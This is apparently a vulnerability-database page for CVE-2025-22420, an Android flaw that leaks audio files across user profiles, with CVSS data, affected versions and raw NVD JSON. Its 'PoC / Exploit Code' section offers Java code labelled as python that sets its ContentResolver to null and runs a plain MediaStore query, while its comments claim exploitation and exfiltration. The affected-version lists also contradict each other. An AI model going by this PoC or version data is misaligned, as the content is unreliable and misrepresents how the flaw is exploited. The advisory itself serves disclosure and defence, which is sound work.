Security Vulnerability Report
中文
CVE-2025-22420 CVSS 7.8 HIGH

CVE-2025-22420

Published: 2025-12-08 17:16:13
Last Modified: 2025-12-10 13:23:16

Description

In multiple locations, there is a possible way to leak audio files across user profiles due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android 12.0 (安全补丁级别 2025-12-01 之前)
Android 12.1 (安全补丁级别 2025-12-01 之前)
Android 13 (安全补丁级别 2025-12-01 之前)
Android 14 (安全补丁级别 2025-12-01 之前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-22420 PoC - Android Audio File Leak via Confused Deputy // This PoC demonstrates the concept of exploiting the confused deputy vulnerability // to access audio files from another user profile. // Note: This is a conceptual PoC for educational purposes only. // Actual exploitation requires specific Android device and user profile setup. import android.content.ContentResolver; import android.content.ContentUris; import android.database.Cursor; import android.media.MediaMetadataRetriever; import android.net.Uri; import android.os.Build; import android.os.Environment; public class AudioFileLeakPoC { private static final String[] AUDIO_PROJECTION = { android.provider.MediaStore.Audio.Media._ID, android.provider.MediaStore.Audio.Media.DISPLAY_NAME, android.provider.MediaStore.Audio.Media.OWNER, android.provider.MediaStore.Audio.Media.DATA }; /** * Attempt to enumerate audio files across user profiles * Exploits the confused deputy vulnerability in Audio File Manager */ public void exploitConfusedDeputy() { ContentResolver resolver = null; // Get content resolver // Query audio files - the vulnerability allows access to // audio files from other user profiles through system services Uri audioUri = android.provider.MediaStore.Audio.Media.EXTERNAL_CONTENT_URI; // The vulnerable query may return files from other user contexts Cursor cursor = resolver.query( audioUri, AUDIO_PROJECTION, null, // No proper user profile filter null, null ); if (cursor != null) { while (cursor.moveToNext()) { long id = cursor.getLong( cursor.getColumnIndexOrThrow(android.provider.MediaStore.Audio.Media._ID) ); String displayName = cursor.getString( cursor.getColumnIndexOrThrow(android.provider.MediaStore.Audio.Media.DISPLAY_NAME) ); // Access audio file content from other user profile Uri contentUri = ContentUris.withAppendedId(audioUri, id); // Extract metadata - potentially sensitive information MediaMetadataRetriever retriever = new MediaMetadataRetriever(); try { retriever.setDataSource(null, contentUri); String title = retriever.extractMetadata( MediaMetadataRetriever.METADATA_KEY_TITLE ); String artist = retriever.extractMetadata( MediaMetadataRetriever.METADATA_KEY_ARTIST ); String duration = retriever.extractMetadata( MediaMetadataRetriever.METADATA_KEY_DURATION ); // Log or exfiltrate audio metadata logAudioInfo(displayName, title, artist, duration); } catch (Exception e) { // Handle extraction errors } finally { retriever.release(); } } cursor.close(); } } private void logAudioInfo(String fileName, String title, String artist, String duration) { // Logging sensitive audio information System.out.println("Leaked Audio File: " + fileName); System.out.println("Title: " + title); System.out.println("Artist: " + artist); System.out.println("Duration: " + duration); } } // Exploitation steps: // 1. Create Android app with minimal permissions // 2. Set up multiple user profiles on device // 3. Place audio files in secondary user profile // 4. Run this PoC from primary user profile // 5. Observe that audio files from other profile are accessible

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22420", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:12.680", "lastModified": "2025-12-10T13:23:16.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to leak audio files across user profiles due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/fb8f76eca9079c34af3e14ee0a58bc10a580ec42", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}